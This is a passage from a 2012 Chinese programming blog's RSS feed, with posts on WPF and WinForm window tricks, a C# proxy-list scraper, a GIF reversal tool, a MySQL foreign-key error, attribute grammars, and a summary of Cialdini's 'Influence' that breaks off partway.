        Title=&#34;MainWindow&#34; Height=&#34;350&#34; Width=&#34;525&#34; AllowsTransparency=&#34;True&#34; WindowStyle=&#34;None&#34; Background=&#34;{StaticResource back}&#34; MouseDown=&#34;Window_MouseDown&#34;&amp;gt;
&amp;lt;/Window&amp;gt;&lt;/pre&gt;
&lt;p&gt;其中background那个是固定的，而MouseDown是为了给窗体写可以拖动的函数，函数名为Window_MouseDown你也可以自己制定&lt;/p&gt;
&lt;p&gt;然后对着那个函数名点右键，如下图&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23626_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2bda8545e86b4ffc4155d5c63505252bb57506bf.jpg&#34; title=&#34;导航&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;导航到事件处理程序，然后在打开的函数里写上&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;if(e.ChangedButton==MouseButton.Left)
    this.DragMove();&lt;/pre&gt;
&lt;p&gt;拖动功能就实现了。&lt;/p&gt;
&lt;p&gt;至于添加关闭按钮的，我就不写了，很简单，代码里都有。可以参考源文件。&lt;/p&gt;
&lt;p&gt;工程源码下载：&lt;a href=&#34;http://115.com/file/c2aq7abt#WpfDemo.7z&#34;&gt;WPFDemo&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;参考：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.cnblogs.com/SkyD/archive/2008/07/13/1242044.html&#34;&gt;http://www.cnblogs.com/SkyD/archive/2008/07/13/1242044.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.cnblogs.com/yinyao/archive/2011/05/23/2054056.html&#34;&gt;http://www.cnblogs.com/yinyao/archive/2011/05/23/2054056.html&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#WinForm实现不规则窗体</title>
      <link>http://blog.leaver.me/2012/06/21/c%23winform%E5%AE%9E%E7%8E%B0%E4%B8%8D%E8%A7%84%E5%88%99%E7%AA%97%E4%BD%93/</link>
      <pubDate>Thu, 21 Jun 2012 09:26:34 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/06/21/c%23winform%E5%AE%9E%E7%8E%B0%E4%B8%8D%E8%A7%84%E5%88%99%E7%AA%97%E4%BD%93/</guid>
      <description>&lt;p&gt;这个纯属娱乐，因为其实用的不是太多，因为非主流，非标准的界面不符合用户的体验，不符合可用性功能的某一条HE规则。&lt;/p&gt;
&lt;p&gt;为了完成这个效果，首先需要自己动手画个你需要的界面出来，界面边缘需要是一种可以很好区别的颜色，比如纯蓝色，因为实现不规则窗体是让C#使边缘颜色透明化来实现的，所以需要唯一识别。因为我用的图是一张灰色的图，我然后圈了一个蓝色的边缘。&lt;/p&gt;
&lt;p&gt;刚开始的图；&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23583_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/80a3c49a3718c6f180278a86ba73b2a3d0d39966.jpg&#34; title=&#34;form&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后新建windows应用程序。创建windows窗体并设置窗体基本属性。
（1）将 FormBorderStyle 属性设置为 None。
（2）将窗体的 BackgroundImage 属性设置为先前创建的位图文件。不必将文件添加到项目系统中；这将在指定该文件作为背景图像时自动完成。
（3）将 TransparencyKey 属性设置为位图文件的背景色，本例中为蓝色。（此属性告诉应用程序窗体中的哪些部分需要设置为透明。 ）
上面两个步骤已经完成了不规则窗体自身显示效果的制作。&lt;/p&gt;
&lt;p&gt;有人说在24位色以下的环境中可以显示正常，但在24位色以上时黄色背景不能消失，所以上述不能胜任24位色以上环境。但我看到了一种解决方法，那就是先将背景图片添加到资源文件，然后在窗体构造时为窗体设置背景图片：&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;private void Form1_Load(object sender, EventArgs e){

   Bitmap bmp = Properties.Resources.form2;
   bmp.MakeTransparent(Color.Blue);
   // bmp.MakeTransparent(Color.FromArgb(2,2,2));如果rgb则是这样用
   this.BackColor = Color.Blue;
   this.BackgroundImage = bmp;
   this.TransparencyKey = Color.Blue;

}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;实测是可以的。&lt;/p&gt;
&lt;p&gt;然后&lt;span style=&#34;font-size: medium;&#34;&gt;&lt;span style=&#34;font-size: medium;&#34;&gt;就是为窗体添加移动、关闭、最大最小化的事件。代码直接给出&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;private bool isMouseDown = false;  //记录鼠标是否被按下
private Point position;  //记录鼠标位置

private void Form1_MouseDown(object sender, MouseEventArgs e)
{
 if (e.Button == MouseButtons.Left)
 {
    int x = -e.X;
   int y = -e.Y;
   position = new Point(x, y);
   isMouseDown = true;
 }

}

private void Form1_MouseMove(object sender, MouseEventArgs e)
{
 if (isMouseDown)
 {
   Point newPosition = Control.MousePosition;
   newPosition.Offset(position);
   this.Location = newPosition;
 }
}

private void Form1_MouseUp(object sender, MouseEventArgs e)
{
 if (e.Button == MouseButtons.Left)
 {
    isMouseDown = false;
 }
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;还有其他一些比如关闭按钮的添加，都很简单，直接添加一个button，事件里写，两个选一个。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;this.Close();//关闭此窗体
Application.Exit();//退出应用程序&lt;/pre&gt;
&lt;p&gt;我最终的效果是个圆，可以看到，锯齿很明显，我想要效果好的话，那个位图得好好设计。这个只是演示。。所以。。还有一种方法是链接1中提供的，有兴趣的可以试试。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23584_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/33eb616a6ae722d472de3408f8a03596aaf5baaf.jpg&#34; title=&#34;demo&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;工程源码下载：&lt;a href=&#34;http://115.com/file/c2ai3t6p#IrregularForm.7z&#34;&gt;IrregularForm.7z&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;参考：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.cnblogs.com/KissKnife/archive/2006/10/02/520116.html&#34;&gt;http://www.cnblogs.com/KissKnife/archive/2006/10/02/520116.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://allancandy.cnblogs.com/archive/2005/09/01/227814.html&#34;&gt;http://allancandy.cnblogs.com/archive/2005/09/01/227814.html&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>FreeAnony-代理采集设置工具</title>
      <link>http://blog.leaver.me/2012/06/17/freeanony-%E4%BB%A3%E7%90%86%E9%87%87%E9%9B%86%E8%AE%BE%E7%BD%AE%E5%B7%A5%E5%85%B7/</link>
      <pubDate>Sun, 17 Jun 2012 20:10:05 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/06/17/freeanony-%E4%BB%A3%E7%90%86%E9%87%87%E9%9B%86%E8%AE%BE%E7%BD%AE%E5%B7%A5%E5%85%B7/</guid>
      <description>&lt;p&gt;这个名字确实有点不太好。。因为刚开始我想到这个工具是在今天早上看到一个别人的代理工具的时候，突然想做的，没有好好规化，结果后来代码越写越多。。不过收获很大。&lt;/p&gt;
&lt;p&gt;先看界面，因为是简单实现一下，所以就不要吐槽界面了。。&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23525_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/10c75978f904af3fc0eb8e9c41cf2a47d4d2545f.jpg&#34; title=&#34;FreeAnony&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;刚开始想的思路就是先去一个经常发布代理IP的网页去采集。然后解析成一条条的信息。然后显示出来。中途遇到几个问题，一个就是在做代理验证的时候，没有用多线程，导致直接界面无响应。另一个就是DataGridView控件要实现对一个数组的绑定，需要的一个实体对象。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;public IPEntity[] GetIpInfo(string url)
        {

            //获得网页源码
            string content = Get_Http(url);
            //定位代理ip位置
            int start = content.IndexOf(&#34;&amp;lt;/strong&amp;gt;&amp;lt;/u&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;BR&amp;gt;&#34;);
            int end = content.LastIndexOf(&#34;&amp;lt;BR&amp;gt;&amp;lt;SCRIPT type=text/javascript&amp;gt;&#34;);
            //提取并去除一些冗余代码
            string subContent = content.Substring(start, end - start).Substring(21);
            subContent = subContent.Replace(&#34;&amp;amp;nbsp; dn28.com&#34;, &#34;&#34;);
            //通过br标签分隔代理列表为数组
            string[] sArray = Regex.Split(subContent, &#34;&amp;lt;br&amp;gt;&#34;, RegexOptions.IgnoreCase);
            IPEntity[] list = new IPEntity[sArray.Length];
            int j = 0;
            foreach (string i in sArray)
            {
                int addrpos = i.IndexOf(&#34;:&#34;);
                string ipaddress = i.Substring(0, addrpos);
                int portpos = i.IndexOf(&#34;@&#34;);
                string ipport = i.Substring(addrpos + 1, portpos - addrpos - 1);
                int typepos = i.IndexOf(&#34;;&#34;);
                string iptype = i.Substring(portpos + 1, typepos - portpos - 1);
                string ipcountry = i.Substring(typepos + 1);
                list[j++] = new IPEntity(ipaddress, ipport, iptype, ipcountry);

            }
            return list;

        }&lt;/pre&gt;
&lt;p&gt;这部分就是先得到网页源码，然后通过IndexOf和LastIndexOf定位到ip组的位置。这是通过分析源码来确定参数的。最后通过
标签分割成字符数组。数组元素类似于112.25.12.37:80@HTTP;江苏省 移动，然后就是继续分割成一部分，构造了一个IPEntity的数组。在按钮中绑定到DataGridView中即可
IPEntity类的定义如下：这里面设置了一个status属性，用于后面代理验证的时候进行标记。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;public  class IPEntity
        {
            string _Address;
            string _Port;
            string _Type;
            string _Country;
            string _Status;

            public string Address
            {
                get { return _Address; }
                set { _Address = value; }
            }

            public string Port
            {
                get { return _Port; }
                set { _Port = value; }
            }
            public string Status
            {
                get { return _Status; }
                set { _Status = value; }
            }
            public string Type
            {
                get { return _Type; }
                set { _Type = value; }

            }

            public string Country
            {
                get { return _Country; }
                set { _Country = value; }
            }

            public IPEntity(string Address, string Port,string Type,string Country)
            {
                this._Address = Address;
                this._Port = Port;
                this._Type = Type;
                this._Country = Country;
            }
        }&lt;/pre&gt;
&lt;p&gt;然后是验证ip可用性的部分。这部分主要的代码是验证DataGridView中的ip地址可用性&lt;/p&gt;</description>
    </item>
    <item>
      <title>gif反转工具</title>
      <link>http://blog.leaver.me/2012/06/15/gif%E5%8F%8D%E8%BD%AC%E5%B7%A5%E5%85%B7/</link>
      <pubDate>Fri, 15 Jun 2012 17:33:29 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/06/15/gif%E5%8F%8D%E8%BD%AC%E5%B7%A5%E5%85%B7/</guid>
      <description>&lt;p&gt;首先看下效果图：
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23424_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/b38ddf634b3f63f7f6e7f6016218ba55907c67b5.jpg&#34; title=&#34;gif反转工具&#34;&gt;&lt;/a&gt;
然后是两张gif的对比
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23425_o.gif&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/3b7f81c3127dc8ebb3eb51d13a29d45751861ea7.gif&#34; title=&#34;旧图&#34;&gt;&lt;/a&gt;   //原本图是正着走的
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23426_o.gif&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/576d8c2f7990984cd6927c59d24684f2ae94fcb4.gif&#34; title=&#34;新图&#34;&gt;&lt;/a&gt;   //处理后是倒着走的&lt;/p&gt;
&lt;p&gt;gif是动态的嘛。然后我昨天和一个朋友聊天的时候发了一串相同的gif图，然后看着千篇一律的东西。我想能不能写个程序实现gif的初始状态不同呢。什么意思呢。我们知道，gif是由帧构成的，我想实现的功能是比如一个gif共有十帧，那么我写出来的程序能够生成10个gif文件，分别对应不同的初始状态来进行循环。后来一想，gif帧太多的话，比较慢，而且也不实用，于是决定简化一下，只做一个反转工具，比如一个gif是从左到右播放的，通过这个成功可以生成一个相同的gif图，不过是倒着播放的。&lt;/p&gt;
&lt;p&gt;思路很简单，就是先把gif分解成很多帧，然后对帧进行合并，合并帧之前把帧的位置反转一下就可以了。因为我自己对图像处理的知识不懂，只想到了思路，所以这些功能都要找些资料，然后修改，测试。&lt;/p&gt;
&lt;p&gt;分割帧的代码如下&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34; title=&#34;分割gif&#34;&gt;        //解码gif图片
        public List&amp;lt;string&amp;gt; GetFrames(string pPath, string pSavedPath)
        {
            Image gif = Image.FromFile(pPath);
            FrameDimension fd = new FrameDimension(gif.FrameDimensionsList[0]);

            //获取帧数(gif图片可能包含多帧，其它格式图片一般仅一帧)
            int count = gif.GetFrameCount(fd);
            List&amp;lt;string&amp;gt; gifList=new List&amp;lt;string&amp;gt;();
            //以Jpeg格式保存各帧

            for (int i = 0; i &amp;lt; count; i++)
              {
                  gif.SelectActiveFrame(fd, i);
                  gif.Save(pSavedPath + &#34;\\frame_&#34; + i + &#34;.png&#34;, ImageFormat.Png);
                  gifList.Add(pSavedPath + &#34;\\frame_&#34; + i + &#34;.png&#34;);
              }
            return gifList;
         }&lt;/pre&gt;
&lt;p&gt;可以看到，返回了一个包含所有生成的帧地址的list列表。然后就是使用gifList作为参数来合并了。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34; title=&#34;合并gif&#34;&gt;//获取系统临时目录存放解码后的png图片
                string temppath = System.Environment.GetEnvironmentVariable(&#34;TEMP&#34;); 

                List&amp;lt;string&amp;gt; gifList = GetFrames(tBoxFile.Text, temppath);
                gifList.Reverse();
                String outputFilePath = &#34;new.gif&#34;;
                AnimatedGifEncoder ae = new AnimatedGifEncoder();
                ae.Start(outputFilePath);
                ae.SetDelay(100);    // 延迟间隔
                ae.SetRepeat(0);  //-1:不循环,0:总是循环 播放  
                for (int i = 0, count = gifList.Count; i &amp;lt; count; i++)
                {
                    ae.AddFrame(Image.FromFile(gifList[i]));
                }
                ae.Finish();
                MessageBox.Show(&#34;成功!新文件已保存在同目录&#34;);&lt;/pre&gt;
&lt;p&gt;这里面使用了AnimatedGifEncoder这个类，这是Gif.Components.dll动态连接库里的类（此库开源，文末给出地址），是我在codeProject上找到的。首先我把gifList反转，然后合并保存到同目录。中间生成的帧为了方便我保存到了temp目录。&lt;/p&gt;
&lt;p&gt;本来这个库里是分割gif的功能的。但是我实际测试后发现效果非常差，图片黑条泛滥，根本没法看。所以还是使用上面那段代码，相关代码我依然保存在工程里，有兴趣可以自己测试。&lt;/p&gt;
&lt;p&gt;明天四级考试，求人品。。&lt;/p&gt;
&lt;p&gt;项目源码:&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=125360&amp;amp;uk=1493685990&#34;&gt;gif反转工具&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;参考：
&lt;a href=&#34;http://www.cnblogs.com/top5/archive/2011/03/19/1988595.html&#34;&gt;C#图片处理：获取GIF 动画图片中的各个帧&lt;/a&gt;
&lt;a href=&#34;http://www.codeproject.com/Articles/11505/NGif-Animated-GIF-Encoder-for-NET&#34;&gt;NGif, Animated GIF Encoder for .NET&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>MySQL ERROR 1005: Can&#39;t create table  (errno: 150)解决办法</title>
      <link>http://blog.leaver.me/2012/06/10/mysql-error-1005-cant-create-table-errno-150%E8%A7%A3%E5%86%B3%E5%8A%9E%E6%B3%95/</link>
      <pubDate>Sun, 10 Jun 2012 20:02:31 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/06/10/mysql-error-1005-cant-create-table-errno-150%E8%A7%A3%E5%86%B3%E5%8A%9E%E6%B3%95/</guid>
      <description>&lt;p&gt;最近在做数据库大作业，采用mysql建立数据库的时候出现了这个情况，查了一下，解决了。&lt;/p&gt;
&lt;p&gt;出现问题的大致可能情况&lt;/p&gt;
&lt;p&gt;1、外键的引用类型不一样，如主键是int外键是char&lt;/p&gt;
&lt;p&gt;2、找不到主表中引用的列&lt;/p&gt;
&lt;p&gt;3、主键和外键的字符编码不一致，也可能存储引擎不一样&lt;/p&gt;
&lt;p&gt;对于第一个问题，检查一下自己的主外键记录数据类型是否一样，改了就行了，对于第二个问题，同样的道理，确定你主表中有对应的列。对于第三个问题&lt;/p&gt;
&lt;pre class=&#34;lang:pgsql decode:true  crayon-selected&#34;&gt;create table pw_test(
uid int unsigned not null,
primary key (uid),
foreign key (uid) references pw_other(uid)
on delete cascade
on update cascade
)ENGINE = MYISAM;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;括号外面的语句设置了引擎。实战过程中通过。中间的外键设置了delete 和update约束。uid引用了pw_other表中的uid键
记下语法，出现问题的时候就可以用了。&lt;/p&gt;</description>
    </item>
    <item>
      <title>属性文法</title>
      <link>http://blog.leaver.me/2012/06/08/%E5%B1%9E%E6%80%A7%E6%96%87%E6%B3%95/</link>
      <pubDate>Fri, 08 Jun 2012 21:31:13 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/06/08/%E5%B1%9E%E6%80%A7%E6%96%87%E6%B3%95/</guid>
      <description>&lt;p&gt;　　我们知道，许多编译程序采用属性文法和语法制导翻译方法对语义处理工作进行比较规范和抽象的描述。&lt;/p&gt;
&lt;p&gt;　　而一个属性文法包含一个上下文无关文法和一系列文法规则，语义规则是指：对于文法的每个产生式都配备了一组属性的计算规则&lt;/p&gt;
&lt;p&gt;　　语义规则附在文法的每个产生式上，而语法制导翻译是指在语法分析过程中，完成附加在所使用的产生式上的语义规则描述的动作。&lt;/p&gt;
&lt;p&gt;　　·语法制导：基于语法分析中用到的文法产生式&lt;/p&gt;
&lt;p&gt;　　·翻译：完成语义分析的各项功能，不仅指生成中间代码&lt;/p&gt;
&lt;p&gt;　　形式上讲，一个属性文法是一个三元组，A＝（G，V，F），其中G是一个上下文无关文法；V是有穷的属性集，每个属性与文法的一个终结符或非终结符关联，属性加工的过程即是语义处理的过程。F是关于属性的属性断言或一组属性的计算规则（称为语义规则）。断言或语义规则与一个规则式关联，只引用该规则式左端或右端的终结符或非终结符关联的属性。形式化的东西看看就好，后面给出具体例子分析。&lt;/p&gt;
&lt;p&gt;　　&lt;div&gt;既然称之为属性文法，那么什么属性呢。这些属性代表与文法符号相关信息，比如它的类型、值、代码序列、符号表内容等等。属性与变量一样，可以进行计算和传递。可以类比我们平时写代码时候一些成员变量。。属性又分为综合属性和继承属性。&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;　　&lt;div&gt;n在一个属性文法中，对应于每个产生式A→a都有一套与之相关联的语义规则，每条规则的形式为：&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;　　b:=f(c1,c2,…,ck)，只有在已知 c1-ck 值的基础上，才能计算属性值 b， 称属性 b 依赖于属性 c1-ck，至于c1-ck依赖于哪个，就得看由c1-ck在左侧的规则了。也就是看下面的规则了。&lt;/p&gt;
&lt;p&gt;　　这里，f是一个函数，而且或者&lt;/p&gt;
&lt;p&gt;　　1. b是A的一个综合属性并且c1,c2,…,ck是产生式右边文法符号的属性，或者&lt;/p&gt;
&lt;p&gt;　　2. b是产生式右边某个文法符号的一个继承属性并且c1,c2,…,ck 是A或产生式右边任何文法符号的属性。  属性b依赖于属性c1,c2,…,ck。&lt;/p&gt;
&lt;p&gt;　　属性文法中常用记号N·t表示与非终结符号N相关联的属性t。&lt;/p&gt;
&lt;p&gt;　　&lt;div&gt;注意：¨终结符只有综合属性，由词法分析器提供&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;　　&lt;div&gt;¨非终结符既可有综合属性也可有继承属性，文法开始符号的所有继承属性作为属性计算前的初始值&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;　　¨在语法树中，一个结点的综合属性的值由其子结点的属性值确定。一个结点的继承属性由此结点的父结点和/或兄弟结点的某些属性确定&lt;/p&gt;
&lt;p&gt;　　根据包含的属性类型，属性文法分为：S-属性文法和L-属性文法&lt;/p&gt;
&lt;p&gt;　　S-属性文法是仅包括综合属性的属性文法；L -属性文法是包括综合属性和继承属性的属性文法。&lt;/p&gt;
&lt;p&gt;　　给出一个简单的实例说明上面的内容：&lt;/p&gt;
&lt;p&gt;　　&lt;div&gt;考虑非终结符A，B和C，其中，A有一个继承属性a和一个综合属性b，B有综合属性c，C有继承属性d。产生式A→BC可能有规则&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;　　C.d:=B.c+1&lt;/p&gt;
&lt;p&gt;　　A.b:=A.a+B.c&lt;/p&gt;
&lt;p&gt;　　而属性A.a和B.c在其它地方计算&lt;/p&gt;
&lt;p&gt;　　为什么是这样的，因为此时A就是A，B是X1，C是X2，对于d来说，他是产生式右部C的一个属性，c是右部B的属性，属性d依赖于属性c，和1，所以它是C的继承属性，对于c来说，他是产生式右部B的一个属性，但是c不依赖于d，而是d依赖于c所以c属性类型无法确定，对于b，他是A的一个属性，并且a是A的属性，c是产生式右部的属性，所以b是A的综合属性，而对于a，因为不能确定a属性依赖于那个属性，所以。无法得知。从上面我可以得出一个规律，对于一个属性规则来说，一条规则只能确定其左侧的属性类型，而右侧的属性需要由一个由他在左侧的规则来确定。比如，可以看到上面的规则中，c和a都不能确定，就是因为在规则右侧。&lt;/p&gt;
&lt;p&gt;　　此部分可能理解不够深刻，如有错误欢迎指正。&lt;/p&gt;
&lt;p&gt;　　参考：&lt;/p&gt;
&lt;p&gt;　　&lt;a href=&#34;http://jpkc.hdu.edu.cn/computer/byyl/online/5-2.htm&#34;&gt;http://jpkc.hdu.edu.cn/computer/byyl/online/5-2.htm&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　&lt;a href=&#34;http://metc.gdut.edu.cn/compile/nandian/n-8.htm&#34;&gt;http://metc.gdut.edu.cn/compile/nandian/n-8.htm&lt;/a&gt;
　　&lt;/p&gt;</description>
    </item>
    <item>
      <title>你为什么会说是？-[影响力]</title>
      <link>http://blog.leaver.me/2012/06/07/%E4%BD%A0%E4%B8%BA%E4%BB%80%E4%B9%88%E4%BC%9A%E8%AF%B4%E6%98%AF-%E5%BD%B1%E5%93%8D%E5%8A%9B/</link>
      <pubDate>Thu, 07 Jun 2012 10:58:49 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/06/07/%E4%BD%A0%E4%B8%BA%E4%BB%80%E4%B9%88%E4%BC%9A%E8%AF%B4%E6%98%AF-%E5%BD%B1%E5%93%8D%E5%8A%9B/</guid>
      <description>&lt;p&gt;　　今天早上把这本书读完了，短短的300页，绝对是今年读到的又一本经典之作，书摘什么的因为是读的纸质版，所以没有写什么笔记，但是还是简单的总结下书中的内容。顺带谈谈自己的感受。&lt;/p&gt;
&lt;p&gt;　　就像昨天文章中提到的，这本书讲的不是成功学，而是心理学，讲我们在生活中为什么有时候会受到他人，或者是一些定律的影响，不知不觉中做了后来后悔的事情。或者是明明已经后悔了，却无法反悔。&lt;/p&gt;
&lt;p&gt;　　影响力的几个武器；&lt;/p&gt;
&lt;p&gt;　　&lt;em&gt;第1种武器：互惠&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;　　互惠原理认为，我们应该尽量以相同的方式来回报他人为我们所作的一切。接受往往和偿还联系在一起，尽管互惠原理经常带给人们以负债感，但是总体而言，我们从中得利的时候还是占多数的，相比而言还是划算的。从而，相信并服从这个原理成为人们日常生活中一个十分重要的准则，而违背它则要付出严重的代价。人们普遍对那种只求索取不知偿还的人感到不信任，并尽量远离避免与之接触。往深里讲，互惠原理是人类社会形成的一大助力，是群体协作的默认基础。 在商业上最经典的案例则体现在商场里的“免费试用”中。很多人觉得，如果从那个笑容可掬的小姐手中接受了可以免费品尝的食物，就不好意思把杯子一还转身离开，总得买点什么吧，即时他们对那种商品并不是那么感兴趣。&lt;/p&gt;
&lt;p&gt;　　&lt;em&gt;第2种武器：承诺与一致&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;　　一旦我们做出了一个决定，或选择了一种立场，就会有发自内心以及来自外部的压力来迫使我们与此保持一致。在这种压力下，我们总是希望以实际行动来证明我们以前的决定是正确的。我们要让自己相信，自己作出了明智的抉择，而且毫无疑问地，自我感觉良好。&lt;/p&gt;
&lt;p&gt;　　一个例子是安利公司就要求每个销售人员都要定下一个销售目标，而且不是光说说而已，必须得写下来。书面声明之所以特别有效，原因之一是它能使目标和方向都更明确，更重要的是，它能够轻易地公之于众。一旦个人公开选择某种立场之后，马上就会有一种维持这种立场的压力，因为他想在别人眼里显得前后一致。我承认我非常讨厌这家公司，有个笑话是这样的，十年后，我们不经意间再次相遇，她低声问我：“这些年过得好吗？她对你好吧。”我很伤感，说：“我还没结婚，一直等你。”她眼圈红了红，说：“你晚上7点来宾馆找我吧。”七夕夜，月如钩，我手捧鲜花，提前半小时来到宾馆，她迎我进去，招呼我坐下，幽幽问道：“你听说过安利吗？”&lt;/p&gt;
&lt;p&gt;　　要想戒烟或者减肥成功，这种方法是非常有效的。给自己在乎的人说自己一定要减肥成功，并且勇敢说出来，这种压力会迫使你减肥成功&lt;/p&gt;
&lt;p&gt;　　&lt;em&gt;第3种武器：社会认同&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;　　有点像是从众，但不完全是，社会认同原理指出，我们进行是非判断的标准之一就是看别人是怎么想的，尤其是当我们要决定什么是正确的行为的时候。如果我们看到别人在某种场合做某件事情，我们就会断定这样做是有道理的。一个很有趣的实验可以证实这一点，站在一条繁忙的人行道上，选定天空中的某一快空白，盯着看上1分钟，在这段时间里你的身边大概不会发生什么事情；第二天，你带上四五个朋友到同一地点一起往上看，不出1分钟，就会有大群路人停下来，把脖子伸得长长的，跟你们几个一起往天上看；即使是那些没有加入你们的行人，也无法阻抗那种至少往上瞄一眼的压力。&lt;/p&gt;
&lt;p&gt;　　在形势模糊不清的时候，每个人都希望看一看别人正在做什么，从而致使一个极为重要的现象的出现――“多元无知”。这个可以很好的解释小悦悦事件，因为路人多了以后，前一个的人的行为影响了后一个人，大家都在看别人在做什么，并且人多了以后，每个人的责任感被分散，因此，施救的概率降下来了，我不是要辩护什么，而是反对喜欢扣标签的人，这件事并不能说明社会道德什么下降及其厉害，虽然有下降，这件事只是很典型的一个社会心理学实例罢了。&lt;/p&gt;
&lt;p&gt;　　书中做出指出，如果你遇到了危难，很可能出现人很多，但没人施救。。　本书作者的建议是，当你遇到突发灾难时，直接从人群中挑出一个人来，注视着他，指着他，直接对他说：“你，蓝夹克的先生，我需要帮助，请叫一辆救护车来”，总之，在紧急状态中需要帮助时，最有效的策略是减少周围人对你的处境和他们和责任的不确定性，尽量把你所需要的帮助表达精确。不要让旁观者自己去下结论，因为社会认同原理和多元无知效应很可能使他们对你的处境作出错误的诊断，在人群中尤其如此。 这样说了以后，被指定的那个人有了一种责任感，进行施救，其他人会因为确定了状况加入救助的行列。&lt;/p&gt;
&lt;p&gt;　　&lt;em&gt;第4种武器： 喜好&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;　　一句话就是：人们总是比较愿意答应自己认识和喜爱的人提出的请求 ，产生喜好的来源主要有外表的吸引力，这个不多解释，美女得到的帮助在陌生的时候必其他人要多，相似性，指对和自己相似的人，比如外貌，衣着，爱好的相同都会产生；称赞，是指人们会奉承话通常来之不拒，并对奉承者产生好感，接触和合作，指一般经历了一起合作的人之间会产生明显的好感，一个有意思的例子是人们对和他们一起吃饭的人好感尤其强烈；关联，指人们会爱屋及乌，比如中国古代的近朱者赤，近墨者黑，表示的有点这个意思，人们会把你交往的人的品质关联到你自己身上，也会把你传递的消息关联上你的身上，如果你经常传递不好的消息，，你懂的。&lt;/p&gt;
&lt;p&gt;　　要对付这么多赢取我们好感的手段，不是一件容易的事。一个有效的方法是，将注意力集中在效果而不是原因上。当我们在和那些老练的推销员打交道时，我们只需要注意一件事，我们是不是过于迅速地对这个人产生了过多的好感。一旦答案为“是”的时候，我们就该反击了。不过这个只针对于商业上的，在真实的社交中，我还是很相信一见钟情，相见恨晚的。嘻嘻。&lt;/p&gt;
&lt;p&gt;　　&lt;em&gt;第5种武器：权威&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;　　密歇根大学的心理学教授Mligram (1974)主持了一个实验，结果表明，具有独立思考能力的成年人也会为了服从权威的命令而做出一些完全丧失理智的事情。这可以解释那些利用各种假头衔，衣着（比如警服）来骗人的人。如何克服，两步，第一步，问自己对方是不是会真的专家，第二步问自己他是不是会为自己考虑，同时还要提防有些专家通过抛出一些自己的小缺点来增强”诚实“，表明自己的可信度。这里面有个说法是我以前在社会心理学里看到的，讲到一个演讲的成功与否很大程度上取决于权威的权威，和主题没什么太大关系，这可以解释为什么有时候听专家演讲觉得跟没听似的。。&lt;/p&gt;
&lt;p&gt;　　&lt;em&gt;第6种武器：短缺&lt;/em&gt;&lt;/p&gt;
